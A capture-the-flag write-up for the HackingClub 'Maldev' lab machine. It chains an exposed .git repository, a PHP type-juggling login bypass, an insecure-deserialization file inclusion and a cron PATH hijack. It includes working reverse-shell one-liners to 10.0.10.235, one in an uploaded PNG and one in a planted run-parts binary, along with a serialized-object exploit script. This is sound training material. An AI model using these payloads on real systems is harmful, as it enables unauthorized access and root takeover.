[HackingClub] Maldev Writeup

Platform: HackingClub
Machine: Maldev
Category: Web Exploitation
OS: Linux
Difficulty: Easy
git exposed type juggling lfi cron
Maldev Machine

## Recon

Initially we make a port scan in the target. We have just 22 and 80 ports open.

┌─[ribeirin@parrot]─[~/Documents/machines/hackingclub/maldev]
└──╼ $sudo nmap -sSVC -T5 -Pn 172.16.1.229
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-11 15:01 -03
Nmap scan report for 172.16.1.229
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1a:d5:16:9c:4d:d2:0d:9c:85:b3:a4:55:f1:ff:21:09 (RSA)
|   256 ef:74:34:c5:11:80:60:91:3b:98:22:fd:6b:e3:27:aa (ECDSA)
|_  256 98:22:1d:d7:f7:7d:98:96:14:a5:ad:bf:a5:75:5f:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Login
|_Requested resource was /index.php?page=login
| http-git: 
|   172.16.1.229:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: web application 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.43 seconds

We have a web service running on port 80 with an exposed .git directory. Let's verify with feroxbuster:

┌─[ribeirin@parrot]─[~/Documents/machines/hackingclub/maldev]
└──╼ $feroxbuster -u http://172.16.1.229 -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.16.1.229
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        0l        0w        0c http://172.16.1.229/index.php => http://172.16.1.229/index.php?page=login
302      GET        0l        0w        0c http://172.16.1.229/ => http://172.16.1.229/index.php?page=login
301      GET        9l       28w      311c http://172.16.1.229/.git => 

In fact, we have an exposed Git directory. Before starting the exploitation of the exposed Git, let's examine the page itself. Its content is basically a login form.

Index PHP Git

## Exploitation

To exploit the exposed Git, we will use git-dumper to extract the repository files and analyze the log.

┌─[ribeirin@parrot]─[~/Documents/git-dumper]
└──╼ $./git_dumper.py http://172.16.1.229/.git maldev_git/
[-] Testing http://172.16.1.229/.git/HEAD [200]
[-] Testing http://172.16.1.229/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://172.16.1.229/.git/ [200]
[-] Fetching http://172.16.1.229/.gitignore [404]
[-] http://172.16.1.229/.gitignore responded with status code 404
[-] Fetching http://172.16.1.229/.git/logs/ [200]
[-] Fetching http://172.16.1.229/.git/HEAD [200]
[-] Fetching http://172.16.1.229/.git/COMMIT_EDITMSG [200]
[-] Fetching http://172.16.1.229/.git/branches/ [200]
[-] Fetching http://172.16.1.229/.git/FETCH_HEAD [200]
[-] Fetching http://172.16.1.229/.git/config [200]
[-] Fetching http://172.16.1.229/.git/info/ [200]
[-] Fetching http://172.16.1.229/.git/description [200]
[-] Fetching http://172.16.1.229/.git/objects/ [200]
[-] Fetching http://172.16.1.229/.git/hooks/ [200]
[-] Fetching http://172.16.1.229/.git/logs/HEAD [200]
[-] Fetching http://172.16.1.229/.git/logs/refs/ [200]
[-] Fetching http://172.16.1.229/.git/refs/ [200]
[-] Fetching http://172.16.1.229/.git/info/exclude [200]
[-] Fetching http://172.16.1.229/.git/hooks/commit-msg.sample [200]
[-] Fetching http://172.16.1.229/.git/hooks/post-update.sample [200]
[-] Fetching http://172.16.1.229/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://172.16.1.229/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://172.16.1.229/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://172.16.1.229/.git/index [200]
[-] Fetching http://172.16.1.229/.git/hooks/pre-commit.sample [200]
[-] Fetching http://172.16.1.229/.git/hooks/pre-receive.sample [200]
[-] Fetching http://172.16.1.229/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://172.16.1.229/.git/hooks/pre-push.sample [200]
[-] Fetching http://172.16.1.229/.git/objects/03/ [200]
[-] Fetching http://172.16.1.229/.git/hooks/update.sample [200]
[-] Fetching http://172.16.1.229/.git/objects/02/ [200]
[-] Fetching http://172.16.1.229/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://172.16.1.229/.git/objects/4b/ [200]
[-] Fetching http://172.16.1.229/.git/objects/4f/ [200]
[-] Fetching http://172.16.1.229/.git/objects/10/ [200]
[-] Fetching http://172.16.1.229/.git/objects/75/ [200]
[-] Fetching http://172.16.1.229/.git/objects/15/ [200]
[-] Fetching http://172.16.1.229/.git/objects/17/ [200]
[-] Fetching http://172.16.1.229/.git/objects/64/ [200]
[-] Fetching http://172.16.1.229/.git/objects/a2/ [200]
[-] Fetching http://172.16.1.229/.git/objects/82/ [200]
[-] Fetching http://172.16.1.229/.git/objects/5a/ [200]
[-] Fetching http://172.16.1.229/.git/objects/9a/ [200]
[-] Fetching http://172.16.1.229/.git/objects/d1/ [200]
[-] Fetching http://172.16.1.229/.git/objects/ec/ [200]
[-] Fetching http://172.16.1.229/.git/objects/fc/ [200]
[-] Fetching http://172.16.1.229/.git/objects/f1/ [200]
[-] Fetching http://172.16.1.229/.git/objects/ef/ [200]
[-] Fetching http://172.16.1.229/.git/logs/refs/heads/ [200]
[-] Fetching http://172.16.1.229/.git/objects/info/ [200]
[-] Fetching http://172.16.1.229/.git/objects/pack/ [200]
[-] Fetching http://172.16.1.229/.git/objects/fd/ [200]
[-] Fetching http://172.16.1.229/.git/refs/heads/ [200]
[-] Fetching http://172.16.1.229/.git/refs/tags/ [200]
[-] Fetching http://172.16.1.229/.git/objects/03/5e0c6bf0d67cf015a79f346bb8d5d10eecbeca [200]
[-] Fetching http://172.16.1.229/.git/objects/02/81518264e58a4a45060212c91927b7765584d7 [200]
[-] Fetching http://172.16.1.229/.git/objects/03/16ee642058810e9f64d49607e798418a3a7029 [200]
[-] Fetching http://172.16.1.229/.git/objects/02/08a9dd25c0f25af0f6202d902ddf6ea8169b8b [200]
[-] Fetching http://172.16.1.229/.git/objects/10/59928c34e0ad6f1c0e58c8fff32952831c49ee [200]
[-] Fetching http://172.16.1.229/.git/objects/64/7ee7dd12fb7b5eb26c19111b3c17be2706f224 [200]
[-] Fetching http://172.16.1.229/.git/objects/4b/825dc642cb6eb9a060e54bf8d69288fbee4904 [200]
[-] Fetching http://172.16.1.229/.git/objects/15/77aa88ae26b19d04377501803bfc125a688eee [200]
[-] Fetching http://172.16.1.229/.git/objects/4f/4773fb3403f3ec4097ab7c7b1fdec23b9aa924 [200]
[-] Fetching http://172.16.1.229/.git/objects/75/51bc5d01e6bc7312dddf54c0a3a64f6028c782 [200]
[-] Fetching http://172.16.1.229/.git/objects/a2/f3e7fb88bf071f208d95eb255945f78a235422 [200]
[-] Fetching http://172.16.1.229/.git/objects/82/30a898f4023f22b8d821d9fee4a0c08123687f [200]
[-] Fetching http://172.16.1.229/.git/objects/17/4f5534d194eaa009b97b6d2af7c9cef91bc8c0 [200]
[-] Fetching http://172.16.1.229/.git/objects/9a/89b529052158edededcbb5f9b9815477695e80 [200]
[-] Fetching http://172.16.1.229/.git/objects/ef/8ffde9b099e318e1eb542294c74b7a3c0bfdd2 [200]
[-] Fetching http://172.16.1.229/.git/objects/d1/d1c8e6c0a311de5e29dff016899d4a6bb63b41 [200]
[-] Fetching http://172.16.1.229/.git/objects/ec/a774f6ae180fd651deda3d6cfd6f6a0623263a [200]
[-] Fetching http://172.16.1.229/.git/objects/5a/cf193549cbe7e1ca4b40b0a60a9892592a5847 [200]
[-] Fetching http://172.16.1.229/.git/objects/fc/6b032bf99f5d8f5c09c051ebb95f46d752f372 [200]
[-] Fetching http://172.16.1.229/.git/objects/f1/cfc319cdd73adf18b7035229b2886ae31353ac [200]
[-] Fetching http://172.16.1.229/.git/refs/heads/master [200]
[-] Fetching http://172.16.1.229/.git/objects/fd/a73e141379f4b8d0bbe374ee8a0a9ab7144634 [200]
[-] Fetching http://172.16.1.229/.git/logs/refs/heads/master [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 12 paths from the index
┌─[ribeirin@parrot]─[~/Documents/machines/hackingclub/maldev/maldev_git]
└──╼ $git log 
commit 0281518264e58a4a45060212c91927b7765584d7 (HEAD -> master)
Author: Ubuntu 
Date:   Sun Aug 14 06:06:52 2022 +0000

Alright, there is only one commit in the log. Let's analyze the pages/login.php file. In this code, we found a comparison using the Loose operator, which suggests that the login might be vulnerable to Type Juggling.

<?php

if(check_admin()){
    die(header('Location: /index.php?page=home'));
}

if(isset($_POST["username"]) and !empty($_POST["username"]) and isset($_POST["password"]) and !empty($_POST["password"])){

    if(strcmp($_POST["username"], $credentials["username"]) == 0 and strcmp($_POST["password"], $credentials["password"]) == 0)
    {
        $_SESSION["role"] = "admin";
        die(header('Location: /index.php?page=home'));
    }
}

include("../views/login.php");
?>

In this case, we have a POST request sending the username and password parameters in the request body, but without being in JSON format. To exploit this type of vulnerability without JSON, it's necessary to transform these parameters into an array and send the request. Reference: PHP Magic Tricks: Type Juggling

Request 1

We were able to bypass the application's authentication and access the home page. To continue the exploration, let's use the upload function but before proceeding, let's analyze the source code.

Request 2

Another important file is pages/uploads.php, where we found some relevant information

  • The file name will always be renamed to profile.png.
  • Only .png files can be uploaded.
  • The upload process essentially moves the file and renames it. Therefore, we can test executing some payloads in this upload.
<?php

$target_dir = "../public/assets/images/";
$target_file = $target_dir . "profile.png";
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
  $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
  if($check !== false) {
    $uploadOk = 1;
  } else {
    $uploadOk = 0;
  }
}

// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
  $uploadOk = 0;
}

// Allow certain file formats
if($imageFileType != "png") {
  $uploadOk = 0;
}

// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
  die(header('Location: /index.php?page=home'));
// if everything is ok, try to upload file
} else {
  if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    die(header("Location: /index.php?page=home"));
  } else {
    die(header("Location: /index.php?page=home"));
  }
}
?>

Initially, I tried to bypass the fileFormat filter, but it didn't work. I spent some time trying different ways to upload a PHP payload, but none of them succeeded.

To avoid wasting more time, I decided to check other files, and in public/index.php, I found the following insecure deserialization vulnerability:

<?php
include('../config.php');
//this page is under development

class Page{

    public $page;

    function __destruct(){
        include($this->page);
    }

}

if(isset($_POST["page"]) and !empty($_POST["page"])){
    try{
        unserialize(base64_decode($_POST["page"]));
        die();
    }catch(Exception $e){
        die(header('Location: /index.php?page=login'));
    }
}

if(!isset($_GET['page']))
{
    die(header("Location: /index.php?page=login"));
}

$page = filter_input(INPUT_GET, 'page', FILTER_SANITIZE_STRING);
if(!file_exists("../pages/" . $page . ".php"))
{
    die(header("Location: /index.php?page=login"));
}

include("../pages/" . $page . ".php");

The code in index.php contains an insecure deserialization vulnerability, exploited through the unserialize function. With this, we can combine the insecure deserialization with the local file inclusion (LFI) vulnerability in the processing of the $page variable. This combination allows us to create an exploit that leverages both vulnerabilities simultaneously. The Page class contains a __destruct method that includes the file specified in the $page property.

To exploit the scenario, we use both vulnerabilities:

1. Initially, we will upload a PHP binary: We send a file with a malicious payload via upload.php, such as profile.png, which contains PHP code to execute a reverse shell.

┌─[✗]─[ribeirin@parrot]─[~/Documents/machines/hackingclub/maldev]
└──╼ $echo "<?php system(\"/bin/bash -c 'sh -i >& /dev/tcp/10.0.10.235/4444 0>&1'\"); ?>" >> img.png
Upload 1

2. Using insecure deserialization, we created an exploit that sets the $this->page property in the Page class to point to the previously uploaded malicious file.

<?php
class Page {
    public $page;

    public function __construct($path) {
        $this->page = $path;
    }
}

$profilePath = "assets/images/profile.png"; 
$obj = new Page($profilePath);

$payload = base64_encode(serialize($obj));
echo "Payload: " . $payload;
?>
┌─[ribeirin@parrot]─[~/Documents/machines/hackingclub/maldev]
└──╼ $php expl.php 
Payload: Tzo0OiJQYWdlIjoxOntzOjQ6InBhZ2UiO3M6MjU6ImFzc2V0cy9pbWFnZXMvcHJvZmlsZS5wbmciO30=

From there, we started the nc and sent the POST request to /index.php with the page parameter.

Request Burp

From there, we got a reverse shell:

www-data@ip-172-16-1-229:/var/www/html/public$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

## Post Exploitation

Running linpeas, we found that we have write permissions on /usr/local/sbin and that a run-parts cronjob is running. We noticed that the first path the cron will look for is /usr/local/sbin, allowing us to create a malicious binary for privilege escalation. References: Privilege Escalation via Cron

╔══════════╣ Systemd PATH
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

* *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

Then, we created the malicious binary:

www-data@ip-172-16-1-229:/usr/local/sbin$ nano run-parts
www-data@ip-172-16-1-229:/usr/local/sbin$ chmod +x run-parts 
www-data@ip-172-16-1-229:/usr/local/sbin$ cat run-parts 
/bin/bash -c 'sh -i >& /dev/tcp/10.0.10.235/1234 0>&1'

Now, we just have to wait for the privilege escalation.

─────────────────────────────────────
HackingClub // Maldev
ribeir.in
─────────────────────────────────────
<< Back to Writeups